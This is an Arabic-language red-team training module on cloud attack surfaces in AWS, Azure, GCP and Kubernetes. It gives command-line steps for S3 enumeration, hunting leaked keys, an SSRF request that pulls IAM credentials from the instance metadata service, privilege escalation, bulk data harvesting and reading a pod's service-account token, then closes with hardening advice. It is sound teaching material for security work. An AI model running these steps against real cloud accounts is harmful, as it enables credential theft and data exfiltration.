الفرق الحمراء — الهجومخبير100mL06
هجمات الحوسبة السحابية (AWS / Azure / GCP)
سطح الهجوم السحابي — الهوية والتخزين والحاويات
#AWS#IAM#S3#IMDSv1#Kubernetes
لماذا السحابة هدف رقم واحد اليوم؟
تشبيه — شرح مبسط
السحابة مثل برج فيه ألف مكتب، لكن صاحب كل مكتب يضع قفله بنفسه. لو وضع شخص قفلاً ضعيفاً، يمكن للص دخول مكتبه بدون أن يلاحظ أحد، و من هناك يصل لأبواب داخلية للبرج كله. أكثر من 80% من اختراقات السحابة سببها سوء تكوين لا ثغرة برمجية.
نموذج المسؤولية المشتركة
Cloud Provider مسؤول عن أمن السحابة (الأجهزة، الـ hypervisor). أنت مسؤول عن الأمن في السحابة (الـ IAM، التكوين، البيانات).
AWS Attack Path — مسار هجوم نموذجي
01
جمع المعلومات
bash
aws s3 ls s3://target-backups --no-sign-request
amass enum -d target.gov -src
crt.sh → *.elb.amazonaws.com baring target name02
مفاتيح مسرّبة من GitHub
bash
gitleaks detect --source=. --report-format=json
trufflehog github --org=target --only-verified
aws sts get-caller-identity --profile leaked03
استغلال SSRF للوصول إلى IMDS
payload
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
{"AccessKeyId":"ASIA...","SecretAccessKey":"abc...","Token":"FQoG..."}الفرق بين IMDSv1 و v2
IMDSv2 يتطلب توكن PUT و يمنع SSRF الكلاسيكي. فعّله إجبارياً (HttpTokens=required).
04
تعداد صلاحيات الـ IAM
bash
aws sts get-caller-identity
aws iam list-user-policies --user-name $U
aws iam simulate-principal-policy --policy-source-arn ... --action-names "*"
pacu
cloudfox aws inventory --profile pwned
enumerate-iam --access-key ... --secret-key ...05
رفع الصلاحيات — Privilege Escalation
- iam:CreateAccessKey على مستخدم آخر.
- iam:AttachUserPolicy → ضمّ AdministratorAccess.
- iam:PassRole + ec2:RunInstances = إنشاء EC2 بدور أعلى.
- lambda:UpdateFunctionCode على Lambda بدور أعلى.
- sts:AssumeRole مع trust policy سيء.
06
حصاد البيانات
bash
aws s3 sync s3://target-backups ./loot/
aws rds describe-db-snapshots
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --with-decryptionالأخطاء الأكثر شيوعاً في AWS
S3 Public Buckets
aws s3api put-bucket-acl --acl public-read = كارثة. استخدم Block Public Access على مستوى الحساب.
Wildcard في IAM
"Action":"*","Resource":"*" = صلاحية كاملة. استخدم Access Analyzer لكشفها.
Security Groups مفتوحة
0.0.0.0/0:22 أو :3389 = هدف لـ brute force. استخدم SSM Session Manager بدل SSH.
CloudTrail مغلق
بدون CloudTrail + GuardDuty لن تعرف أنه تم اختراقك.
Azure / GCP بإيجاز
Azure
- هجمات على Entra ID (Azure AD) — device code phishing, illicit consent.
- أدوات: ROADtools, AADInternals, MicroBurst.
- Managed Identity = نسخة IMDS في Azure (169.254.169.254).
GCP
- Service Accounts = أكبر سطح هجوم.
- iam.serviceAccountTokenCreator + actAs = privesc.
- أدوات: GCPBucketBrute, gcloud-pwn, hayat.
Kubernetes — السحابة داخل السحابة
- kubelet مفتوح بدون authn؟ كارثة.
- RBAC فيه cluster-admin لكل ServiceAccount.
- صور حاويات بثغرات (trivy لفحصها).
- الـ pod بـ privileged: true = خروج إلى الـ node.
kubectl from inside compromised pod
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list
peiratesالدفاع السحابي — Cloud Hardening
- CSPM (Prisma Cloud, Wiz, AWS Security Hub) لكشف سوء التكوين تلقائياً.
- CIEM لتحليل صلاحيات IAM الزائدة.
- SCPs لمنع أفعال خطيرة على مستوى المؤسسة.
- CloudTrail + GuardDuty + Detective.
- تطبيق AWS Foundational Security Best Practices + CIS AWS Benchmark.
- IMDSv2 إجبارياً + إيقاف public IP افتراضياً.
- تشفير كل EBS, S3, RDS بـ KMS + تفعيل MFA Delete.
- Just-In-Time access عبر AWS SSO / PIM.
حسبة سريعة
تقليل صلاحيات IAM إلى least privilege يوقف 90% من مسارات privesc المعروفة.